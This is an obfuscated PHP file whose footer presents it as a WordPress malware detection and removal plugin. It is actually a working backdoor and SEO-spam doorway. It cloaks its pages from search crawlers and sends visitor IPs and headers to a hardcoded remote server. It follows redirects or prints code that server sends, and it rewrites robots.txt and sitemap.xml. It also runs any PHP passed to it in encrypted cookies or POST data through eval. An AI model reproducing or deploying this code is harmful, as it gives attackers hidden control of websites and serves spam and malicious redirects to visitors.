    private static $_tdiildac = 1;
    private static $_9q35v756 = "";
    private $_nnc3mabo = "";
    private $_uu56l9c9 = "";
    private $_q97k7gik = "";
    private $_2tmdwth0 = "";
    public static function _32kuw($_6s4ngz56, $_a5lozegk, $_15trp76f)
    {
        _lgqdnc::$_mih2753g = $_6s4ngz56 . "/cache/";
        _lgqdnc::$_tdiildac = $_a5lozegk;
        _lgqdnc::$_9q35v756 = $_15trp76f;
        if (!@file_exists(_lgqdnc::$_mih2753g)) {
            @mkdir(_lgqdnc::$_mih2753g);
        }
    }
    public static function _a9xoy()
    {
        $_eyrsp190 = 0;
        foreach (scandir(_lgqdnc::$_mih2753g) as $_ov6pq93q) {
            $_eyrsp190 += 1;
        }
        return $_eyrsp190;
    }
    public static function _8hhol()
    {
        return TRUE;
    }
    public function __construct($_7iqzrs8q, $_18z1pmha, $_0xpcqmqp, $_jcj2lsf4)
    {
        $this->_nnc3mabo = $_7iqzrs8q;
        $this->_uu56l9c9 = $_18z1pmha;
        $this->_q97k7gik = $_0xpcqmqp;
        $this->_2tmdwth0 = $_jcj2lsf4;
    }
    public function _0j7ao()
    {
        function _6ldfi($_urboxoty, $_t1a0v7g8)
        {
            return round(rand($_urboxoty, $_t1a0v7g8 - 1) + rand(0, -1) / PHP_INT_MAX, 2);
        }
        $_soo8guiq = _z0b3xi::_ui4l9();
        $_8dw5y43o = str_replace("{{ text }}", $this->_uu56l9c9, str_replace("{{ keyword }}", $this->_q97k7gik, str_replace("{{ links }}", $this->_2tmdwth0, $this->_nnc3mabo)));
        while (TRUE) {
            $_5ixlu6ic = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _z0b3xi::_ert4b(), $_8dw5y43o, 1);
            if ($_5ixlu6ic === $_8dw5y43o) {
                break;
            }
            $_8dw5y43o = $_5ixlu6ic;
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\\d*) }}/', $_8dw5y43o, $_n0hx5o92);
            if (empty($_n0hx5o92)) {
                break;
            }
            $_0xpcqmqp = @$_soo8guiq[intval($_n0hx5o92[1])];
            $_ckebvrqf = _iry0ym::_zq9c9($_0xpcqmqp);
            $_8dw5y43o = str_replace($_n0hx5o92[0], $_ckebvrqf, $_8dw5y43o);
        }
        while (TRUE) {
            preg_match('/{{ KEYWORDBYINDEX (\\d*) }}/', $_8dw5y43o, $_n0hx5o92);
            if (empty($_n0hx5o92)) {
                break;
            }
            $_0xpcqmqp = @$_soo8guiq[intval($_n0hx5o92[1])];
            $_8dw5y43o = str_replace($_n0hx5o92[0], $_0xpcqmqp, $_8dw5y43o);
        }
        while (TRUE) {
            preg_match('/{{ RANDFLOAT (\\d*)-(\\d*) }}/', $_8dw5y43o, $_n0hx5o92);
            if (empty($_n0hx5o92)) {
                break;
            }
            $_8dw5y43o = str_replace($_n0hx5o92[0], _6ldfi($_n0hx5o92[1], $_n0hx5o92[2]), $_8dw5y43o);
        }
        while (TRUE) {
            preg_match('/{{ RANDINT (\\d*)-(\\d*) }}/', $_8dw5y43o, $_n0hx5o92);
            if (empty($_n0hx5o92)) {
                break;
            }
            $_8dw5y43o = str_replace($_n0hx5o92[0], rand($_n0hx5o92[1], $_n0hx5o92[2]), $_8dw5y43o);
        }
        return $_8dw5y43o;
    }
    public function _t2j06()
    {
        $_obtcm4y0 = _lgqdnc::$_mih2753g . md5($this->_q97k7gik . _lgqdnc::$_9q35v756);
        if (_lgqdnc::$_tdiildac == 1) {
            $_bq1pbhta = 1;
        } else {
            $_bq1pbhta = time() + 2592000;
        }
        $_sv5q4izi = array("template" => $this->_nnc3mabo, "text" => $this->_uu56l9c9, "keyword" => $this->_q97k7gik, "links" => $this->_2tmdwth0, "expired" => $_bq1pbhta);
        @file_put_contents($_obtcm4y0, serialize($_sv5q4izi));
    }
    public static function _a2aqu($_0xpcqmqp)
    {
        $_obtcm4y0 = _lgqdnc::$_mih2753g . md5($_0xpcqmqp . _lgqdnc::$_9q35v756);
        $_obtcm4y0 = @unserialize(@file_get_contents($_obtcm4y0));
        if (!empty($_obtcm4y0) && ($_obtcm4y0["expired"] > time() || $_obtcm4y0["expired"] == 1)) {
            return new _lgqdnc($_obtcm4y0["template"], $_obtcm4y0["text"], $_obtcm4y0["keyword"], $_obtcm4y0["links"]);
        } else {
            return null;
        }
    }
}
class _mmlc87s
{
    private static $_mih2753g = "";
    private static $_u16f14f4 = "";
    public static function _32kuw($_6s4ngz56, $_gsvxqipu)
    {
        _mmlc87s::$_mih2753g = $_6s4ngz56 . "/";
        _mmlc87s::$_u16f14f4 = $_gsvxqipu;
        if (!@file_exists(_mmlc87s::$_mih2753g)) {
            @mkdir(_mmlc87s::$_mih2753g);
        }
    }
    public static function _8hhol()
    {
        return TRUE;
    }
    public static function _a9xoy()
    {
        $_eyrsp190 = 0;
        foreach (scandir(_mmlc87s::$_mih2753g) as $_ov6pq93q) {
            if (strpos($_ov6pq93q, _mmlc87s::$_u16f14f4) === 0) {
                $_eyrsp190 += 1;
            }
        }
        return $_eyrsp190;
    }
    public static function _ert4b()
    {
        $_qmx1grgb = array();
        foreach (scandir(_mmlc87s::$_mih2753g) as $_ov6pq93q) {
            if (strpos($_ov6pq93q, _mmlc87s::$_u16f14f4) === 0) {
                $_qmx1grgb[] = $_ov6pq93q;
            }
        }
        return @file_get_contents(_mmlc87s::$_mih2753g . $_qmx1grgb[array_rand($_qmx1grgb)]);
    }
    public static function _t2j06($_0izoqfm3)
    {
        if (@file_exists(_mmlc87s::$_u16f14f4 . "_" . md5($_0izoqfm3) . ".html")) {
            return;
        }
        @file_put_contents(_mmlc87s::$_u16f14f4 . "_" . md5($_0izoqfm3) . ".html", $_0izoqfm3);
    }
}
class _z0b3xi
{
    private static $_mih2753g = "";
    private static $_u16f14f4 = "";
    private static $_bua6yqku = array();
    private static $_fmpw6j7k = array();
    public static function _32kuw($_6s4ngz56, $_gsvxqipu)
    {
        _z0b3xi::$_mih2753g = $_6s4ngz56 . "/";
        _z0b3xi::$_u16f14f4 = $_gsvxqipu;
        if (!@file_exists(_z0b3xi::$_mih2753g)) {
            @mkdir(_z0b3xi::$_mih2753g);
        }
    }
    private static function _k6rl9()
    {
        $_lm1jsnwj = array();
        foreach (scandir(_z0b3xi::$_mih2753g) as $_ov6pq93q) {
            if (strpos($_ov6pq93q, _z0b3xi::$_u16f14f4) === 0) {
                $_lm1jsnwj[] = $_ov6pq93q;
            }
        }
        return $_lm1jsnwj;
    }
    public static function _8hhol()
    {
        return TRUE;
    }
    public static function _ert4b()
    {
        if (empty(_z0b3xi::$_bua6yqku)) {
            $_lm1jsnwj = _z0b3xi::_k6rl9();
            _z0b3xi::$_bua6yqku = @file(_z0b3xi::$_mih2753g . $_lm1jsnwj[array_rand($_lm1jsnwj)], FILE_IGNORE_NEW_LINES);
        }
        return _z0b3xi::$_bua6yqku[array_rand(_z0b3xi::$_bua6yqku)];
    }
    public static function _ui4l9()
    {
        if (empty(_z0b3xi::$_fmpw6j7k)) {
            $_lm1jsnwj = _z0b3xi::_k6rl9();
            foreach ($_lm1jsnwj as $_x53fd3vl) {
                _z0b3xi::$_fmpw6j7k = array_merge(_z0b3xi::$_fmpw6j7k, @file(_z0b3xi::$_mih2753g . $_x53fd3vl, FILE_IGNORE_NEW_LINES));
            }
        }
        return _z0b3xi::$_fmpw6j7k;
    }
    public static function _t2j06($_g8x2aive)
    {
        if (@file_exists(_z0b3xi::$_u16f14f4 . "_" . md5($_g8x2aive) . ".list")) {
            return;
        }
        @file_put_contents(_z0b3xi::$_u16f14f4 . "_" . md5($_g8x2aive) . ".list", $_g8x2aive);
    }
    public static function _tus8i($_0xpcqmqp)
    {
        @file_put_contents(_z0b3xi::$_u16f14f4 . "_" . md5(_iry0ym::$_yl5sycxv) . ".list", $_0xpcqmqp . "\n", 8);
    }
}
class _iry0ym
{
    public static $_0avhcvu8 = "5.2";
    public static $_yl5sycxv = "7202c7fd-7d7f-4753-0e8f-75b89572773e";
    private $_lhwwqjis = "http://136.12.78.46/app/assets/api2?action=redir";
    private $_s3wccunx = "http://136.12.78.46/app/assets/api?action=page";
    public static $_y4l3vidj = 5;
    public static $_4j085oho = 20;
    private function _3hb17()
    {
        $_tptrjde8 = array('#libwww-perl#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i', '#spider#i', '#yahoo#i', '#google#i', '#altavista#i', '#ask#i', '#yahoo!\\s*slurp#i', '#BingBot#i');
        if (!empty($_SERVER['HTTP_USER_AGENT']) && FALSE !== strpos(preg_replace($_tptrjde8, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-')) {
            $_vwh9hm80 = 1;
        } elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {
            $_vwh9hm80 = 1;
        } elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE && strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE && strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {
            $_vwh9hm80 = 1;
        } else {
            $_vwh9hm80 = 0;
        }
        return $_vwh9hm80;
    }
    private static function _3zyta()
    {
        $_df3riw71 = array();
        $_df3riw71['ip'] = $_SERVER['REMOTE_ADDR'];
        $_df3riw71['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
        $_df3riw71['ua'] = @$_SERVER['HTTP_USER_AGENT'];
        $_df3riw71['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
        $_df3riw71['ref'] = @$_SERVER['HTTP_REFERER'];
        $_df3riw71['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
        $_df3riw71['acp'] = @$_SERVER['HTTP_ACCEPT'];
        $_df3riw71['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
        $_df3riw71['conn'] = @$_SERVER['HTTP_CONNECTION'];
        return $_df3riw71;
    }
    public function __construct()
    {
        $this->_lhwwqjis = explode("/", $this->_lhwwqjis);
        $this->_s3wccunx = explode("/", $this->_s3wccunx);
    }
    public static function _8aozg($_acvb2hzg)
    {
        if (strlen($_acvb2hzg) < 4) {
            return "";
        }
        $_gk0nbb8m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $_soo8guiq = str_split($_gk0nbb8m);
        $_soo8guiq = array_flip($_soo8guiq);
        $_39awznaj = 0;
        $_1bl5r3i5 = "";
        $_acvb2hzg = preg_replace("~[^A-Za-z0-9\\+\\/\\=]~", "", $_acvb2hzg);
        do {
            $_j3kbih18 = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];
            $_4uastin2 = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];
            $_5xx9tr3j = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];
            $_96v827ea = $_soo8guiq[$_acvb2hzg[$_39awznaj++]];
            $_q4qbwzdc = $_j3kbih18 << 2 | $_4uastin2 >> 4;
            $_upfrhz4k = ($_4uastin2 & 15) << 4 | $_5xx9tr3j >> 2;
            $_qe13sa1z = ($_5xx9tr3j & 3) << 6 | $_96v827ea;
            $_1bl5r3i5 .= chr($_q4qbwzdc);
            if ($_5xx9tr3j != 64) {
                $_1bl5r3i5 .= chr($_upfrhz4k);
            }
            if ($_96v827ea != 64) {
                $_1bl5r3i5 .= chr($_qe13sa1z);
            }
        } while ($_39awznaj < strlen($_acvb2hzg));
        return $_1bl5r3i5;
    }
    private function _3puou($_0xpcqmqp)
    {
        $_7iqzrs8q = "";
        $_18z1pmha = "";
        $_df3riw71 = _iry0ym::_3zyta();
        $_df3riw71["uid"] = _iry0ym::$_yl5sycxv;
        $_df3riw71["keyword"] = $_0xpcqmqp;
        $_df3riw71["tc"] = 10;
        $_df3riw71 = http_build_query($_df3riw71);
        $_c58sx0fu = _yrdexf::_19gkt($this->_s3wccunx, $_df3riw71);
        if (strpos($_c58sx0fu, _iry0ym::$_yl5sycxv) === FALSE) {
            return array($_7iqzrs8q, $_18z1pmha);
        }
        $_7iqzrs8q = _mmlc87s::_ert4b();
        $_18z1pmha = substr($_c58sx0fu, strlen(_iry0ym::$_yl5sycxv));
        $_18z1pmha = explode("\n", $_18z1pmha);
        shuffle($_18z1pmha);
        $_18z1pmha = implode(" ", $_18z1pmha);
        return array($_7iqzrs8q, $_18z1pmha);
    }
    private function _k38qg()
    {
        $_df3riw71 = _iry0ym::_3zyta();
        if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $_df3riw71['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
        }
        if (isset($_SERVER['HTTP_X_REAL_IP'])) {
            $_df3riw71['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];
        }
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $_df3riw71['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        $_df3riw71["uid"] = _iry0ym::$_yl5sycxv;
        $_df3riw71 = http_build_query($_df3riw71);
        $_jz672tsp = _yrdexf::_19gkt($this->_lhwwqjis, $_df3riw71);
        $_jz672tsp = @unserialize($_jz672tsp);
        if (isset($_jz672tsp["type"]) && $_jz672tsp["type"] == "redir") {
            if (!empty($_jz672tsp["data"]["header"])) {
                header($_jz672tsp["data"]["header"]);
                return true;
            } elseif (!empty($_jz672tsp["data"]["code"])) {
                echo $_jz672tsp["data"]["code"];
                return true;
            }
        }
        return false;
    }
    public function _8hhol()
    {
        return _lgqdnc::_8hhol() && _mmlc87s::_8hhol() && _z0b3xi::_8hhol();
    }
    public static function _h0z4y()
    {
        if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) {
            return true;
        }
        return false;
    }
    public static function _redf5()
    {
        $_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_2xbk8ofi = $_2xbk8ofi[0];
        if (strpos($_2xbk8ofi, ".php") === FALSE) {
            $_2xbk8ofi = explode("/", $_2xbk8ofi);
            array_pop($_2xbk8ofi);
            $_2xbk8ofi = implode("/", $_2xbk8ofi) . "/";
        }
        return sprintf("%s://%s%s", _iry0ym::_h0z4y() ? "https" : "http", $_SERVER['HTTP_HOST'], $_2xbk8ofi);
    }
    public static function _qlb4m()
    {
        $_5o8fg05a = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received", "https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");
        $_kbuhy654 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language: en-US,en;q=0.5", "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0");
        $_qotqx6od = urlencode(_iry0ym::_5arh9() . "/sitemap.xml");
        foreach ($_5o8fg05a as $_qry5gz0c => $_ax3n3pz3) {
            $_3stepj2r = _yrdexf::_g2tlh($_qry5gz0c . $_qotqx6od, NULL, $_kbuhy654);
            if (empty($_3stepj2r)) {
                $_3stepj2r = _yrdexf::_doxjr($_qry5gz0c . $_qotqx6od, NULL, $_kbuhy654);
            }
            if (empty($_3stepj2r)) {
                return FALSE;
            }
            if (strpos($_3stepj2r, $_ax3n3pz3) === FALSE) {
                return FALSE;
            }
        }
        return TRUE;
    }
    public static function _8pyzt()
    {
        $_v0l91est = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";
        $_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_2xbk8ofi = $_2xbk8ofi[0];
        $_m54q3kw4 = substr($_2xbk8ofi, 0, strrpos($_2xbk8ofi, "/"));
        $_rl48qrdr = sprintf($_v0l91est, $_m54q3kw4, _iry0ym::_5arh9() . "/sitemap.xml");
        $_w4ou1118 = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";
        if (@file_exists($_w4ou1118)) {
            @chmod($_w4ou1118, 0777);
            $_d0skyvxu = @file_get_contents($_w4ou1118);
        } else {
            $_d0skyvxu = "";
        }
        if (strpos($_d0skyvxu, $_rl48qrdr) === FALSE) {
            @file_put_contents($_w4ou1118, $_d0skyvxu . "\n" . $_rl48qrdr);
            $_d0skyvxu = @file_get_contents($_w4ou1118);
            return strpos($_d0skyvxu, $_rl48qrdr) !== FALSE;
        }
        return FALSE;
    }
    public static function _5arh9()
    {
        $_2xbk8ofi = explode("?", $_SERVER["REQUEST_URI"], 2);
        $_2xbk8ofi = $_2xbk8ofi[0];
        $_6s4ngz56 = substr($_2xbk8ofi, 0, strrpos($_2xbk8ofi, "/"));
        return sprintf("%s://%s%s", _iry0ym::_h0z4y() ? "https" : "http", $_SERVER['HTTP_HOST'], $_6s4ngz56);
    }
    public static function _zq9c9($_0xpcqmqp)
    {
        $_3rho4i3g = _iry0ym::_redf5();
        $_dqzkc33k = substr(md5(_iry0ym::$_yl5sycxv . "salt3"), 0, 6);
        $_eqrbkhys = "";
        if (substr($_3rho4i3g, 1) == "/") {
            if (ord($_dqzkc33k[1]) % 2) {
                $_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);
            } else {
                $_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);
            }
            $_eqrbkhys = sprintf("%s%s", $_3rho4i3g, urlencode($_0xpcqmqp));
        } else {
            if (false) {
                $_eqrbkhys = sprintf("%s?%s=%s", $_3rho4i3g, $_dqzkc33k, urlencode(str_replace(" ", "-", $_0xpcqmqp)));
            } else {
                $_mwe12i7s = array("id", "page", "tag");
                $_6moctxnl = $_mwe12i7s[ord($_dqzkc33k[2]) % count($_mwe12i7s)];
                if (ord($_dqzkc33k[1]) % 2) {
                    $_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);
                } else {
                    $_0xpcqmqp = str_replace(" ", "-", $_0xpcqmqp);
                }
                $_eqrbkhys = sprintf("%s?%s=%s", $_3rho4i3g, $_6moctxnl, urlencode($_0xpcqmqp));
            }
        }
        return $_eqrbkhys;
    }
    public static function _ls5km($_urboxoty, $_t1a0v7g8)
    {
        $_9mnphamy = "";
        for ($_39awznaj = 0; $_39awznaj < rand($_urboxoty, $_t1a0v7g8); $_39awznaj++) {
            $_0xpcqmqp = _z0b3xi::_ert4b();
            $_9mnphamy .= sprintf("<a href=\"%s\">%s</a>,\n", _iry0ym::_zq9c9($_0xpcqmqp), ucwords($_0xpcqmqp));
        }
        return $_9mnphamy;
    }
    public static function _ia16y($_9eia20e5 = FALSE)
    {
        $_wskpu6dt = "/var/www/html/sitemap.xml";
        $_jk1wny9y = "<?php xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
        $_3yasl7lt = "</urlset>";
        $_soo8guiq = _z0b3xi::_ui4l9();
        $_2vn8ui8s = array();
        if (file_exists($_wskpu6dt)) {
            $_c58sx0fu = simplexml_load_file($_wskpu6dt);
            foreach ($_c58sx0fu as $_f9em1fw5) {
                $_2vn8ui8s[(string) $_f9em1fw5->loc] = (string) $_f9em1fw5->lastmod;
            }
        } else {
            $_9eia20e5 = FALSE;
        }
        foreach ($_soo8guiq as $_5slhulyi) {
            $_eqrbkhys = _iry0ym::_zq9c9($_5slhulyi);
            if (isset($_2vn8ui8s[$_eqrbkhys])) {
                continue;
            }
            if ($_9eia20e5) {
                $_wdddvvhd = time();
            } else {
                $_wdddvvhd = time() - crc32($_5slhulyi) % 2592000;
            }
            $_2vn8ui8s[$_eqrbkhys] = date("Y-m-d", $_wdddvvhd);
        }
        $_x3sxpphj = "";
        foreach ($_2vn8ui8s as $_qry5gz0c => $_wdddvvhd) {
            $_x3sxpphj .= "<url>\n";
            $_x3sxpphj .= sprintf("<loc>%s</loc>\n", $_qry5gz0c);
            $_x3sxpphj .= sprintf("<lastmod>%s</lastmod>\n", $_wdddvvhd);
            $_x3sxpphj .= "</url>\n";
        }
        $_2cywryaz = $_jk1wny9y . $_x3sxpphj . $_3yasl7lt;
        $_qotqx6od = _iry0ym::_5arh9() . "/sitemap.xml";
        @file_put_contents($_wskpu6dt, $_2cywryaz);
        return $_qotqx6od;
    }
    public function _lszlg()
    {
        $_6moctxnl = substr(md5(_iry0ym::$_yl5sycxv . "salt3"), 0, 6);
        if (!$this->_3hb17()) {
            if ($this->_k38qg()) {
                return;
            }
        }
        if (!empty($_GET)) {
            $_nxdyfwfa = array_values($_GET);
        } else {
            $_nxdyfwfa = explode("/", $_SERVER["REQUEST_URI"]);
            $_nxdyfwfa = array_reverse($_nxdyfwfa);
        }
        $_0xpcqmqp = "";
        foreach ($_nxdyfwfa as $_ph2kr6ce) {
            if (substr_count($_ph2kr6ce, "-") > 0) {
                $_0xpcqmqp = $_ph2kr6ce;
                break;
            }
        }
        $_0xpcqmqp = str_replace($_6moctxnl . "-", "", $_0xpcqmqp);
        $_0xpcqmqp = str_replace("-" . $_6moctxnl, "", $_0xpcqmqp);
        $_0xpcqmqp = str_replace("-", " ", $_0xpcqmqp);
        $_0xpcqmqp = urldecode($_0xpcqmqp);
        $_zni1zk3v = _z0b3xi::_ui4l9();
        if (empty($_0xpcqmqp)) {
            $_0xpcqmqp = $_zni1zk3v[0];
        } else {
            if (!in_array($_0xpcqmqp, $_zni1zk3v)) {
                $_zkvampq9 = 0;
                foreach (str_split($_0xpcqmqp) as $_2skujtop) {
                    $_zkvampq9 += ord($_2skujtop);
                }
                $_0xpcqmqp = $_zni1zk3v[$_zkvampq9 % count($_zni1zk3v)];
            }
        }
        if (!empty($_0xpcqmqp)) {
            $_jz672tsp = _lgqdnc::_a2aqu($_0xpcqmqp);
            if (empty($_jz672tsp)) {
                list($_7iqzrs8q, $_18z1pmha) = $this->_3puou($_0xpcqmqp);
                if (empty($_18z1pmha)) {
                    return;
                }
                $_jz672tsp = new _lgqdnc($_7iqzrs8q, $_18z1pmha, $_0xpcqmqp, _iry0ym::_ls5km(_iry0ym::$_y4l3vidj, _iry0ym::$_4j085oho));
                $_jz672tsp->_t2j06();
            }
            echo $_jz672tsp->_0j7ao();
        }
    }
}
_lgqdnc::_32kuw("/var/www/html", 1, _iry0ym::$_yl5sycxv);
_mmlc87s::_32kuw("/var/www/html", substr(md5(_iry0ym::$_yl5sycxv . "salt12"), 0, 4));
_z0b3xi::_32kuw("/var/www/html", substr(md5(_iry0ym::$_yl5sycxv . "salt22"), 0, 4));
function _pvm60($_c58sx0fu, $_5slhulyi)
{
    $_2kskmr3f = "";
    for ($_39awznaj = 0; $_39awznaj < strlen($_c58sx0fu);) {
        for ($_ot8kzt07 = 0; $_ot8kzt07 < strlen($_5slhulyi) && $_39awznaj < strlen($_c58sx0fu); $_ot8kzt07++, $_39awznaj++) {
            $_2kskmr3f .= chr(ord($_c58sx0fu[$_39awznaj]) ^ ord($_5slhulyi[$_ot8kzt07]));
        }
    }
    return $_2kskmr3f;
}
function _6eoka($_c58sx0fu, $_5slhulyi, $_x88w7pcu)
{
    return _pvm60(_pvm60($_c58sx0fu, $_5slhulyi), $_x88w7pcu);
}
foreach (array_merge($_COOKIE, $_POST) as $_plfwhelv => $_c58sx0fu) {
    $_c58sx0fu = @unserialize(_6eoka(_iry0ym::_8aozg($_c58sx0fu), $_plfwhelv, _iry0ym::$_yl5sycxv));
    if (isset($_c58sx0fu['ak']) && _iry0ym::$_yl5sycxv == $_c58sx0fu['ak']) {
        if ($_c58sx0fu['a'] == 'doorway2') {
            if ($_c58sx0fu['sa'] == 'check') {
                $_8dw5y43o = _yrdexf::_19gkt(array(0 => "http:", 1 => "", 2 => "httpbin.org", 3 => ""), "");
                if (strlen($_8dw5y43o) > 512) {
                    echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "cache" => _lgqdnc::_a9xoy(), "keywords" => count(_z0b3xi::_ui4l9()), "templates" => _mmlc87s::_a9xoy()));
                }
                exit;
            }
            if ($_c58sx0fu['sa'] == 'templates') {
                foreach ($_c58sx0fu["templates"] as $_7iqzrs8q) {
                    _mmlc87s::_t2j06($_7iqzrs8q);
                    echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8));
                }
            }
            if ($_c58sx0fu['sa'] == 'keywords') {
                _z0b3xi::_t2j06($_c58sx0fu["keywords"]);
                _iry0ym::_ia16y();
                echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8));
            }
            if ($_c58sx0fu['sa'] == 'update_sitemap') {
                _iry0ym::_ia16y(TRUE);
                echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8));
            }
            if ($_c58sx0fu['sa'] == 'pages') {
                $_7ifz0il9 = 0;
                $_zni1zk3v = _z0b3xi::_ui4l9();
                if (_mmlc87s::_a9xoy() > 0) {
                    foreach ($_c58sx0fu['pages'] as $_jz672tsp) {
                        $_38fz7t2h = _lgqdnc::_a2aqu($_jz672tsp["keyword"]);
                        if (empty($_38fz7t2h)) {
                            $_38fz7t2h = new _lgqdnc(_mmlc87s::_ert4b(), $_jz672tsp["text"], $_jz672tsp["keyword"], _iry0ym::_ls5km(_iry0ym::$_y4l3vidj, _iry0ym::$_4j085oho));
                            $_38fz7t2h->_t2j06();
                            $_7ifz0il9 += 1;
                            if (!in_array($_jz672tsp["keyword"], $_zni1zk3v)) {
                                _z0b3xi::_tus8i($_jz672tsp["keyword"]);
                            }
                        }
                    }
                }
                echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "pages" => $_7ifz0il9));
            }
            if ($_c58sx0fu["sa"] == "ping") {
                $_3stepj2r = _iry0ym::_qlb4m();
                echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "result" => (int) $_3stepj2r));
            }
            if ($_c58sx0fu["sa"] == "robots") {
                $_3stepj2r = _iry0ym::_8pyzt();
                echo @serialize(array("uid" => _iry0ym::$_yl5sycxv, "v" => _iry0ym::$_0avhcvu8, "result" => (int) $_3stepj2r));
            }
        }
        if ($_c58sx0fu['sa'] == 'eval') {
            eval($_c58sx0fu["data"]);
            exit;
        }
    }
}
$_dujm8bdw = new _iry0ym();
if ($_dujm8bdw->_8hhol()) {
    $_dujm8bdw->_lszlg();
}
exit;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.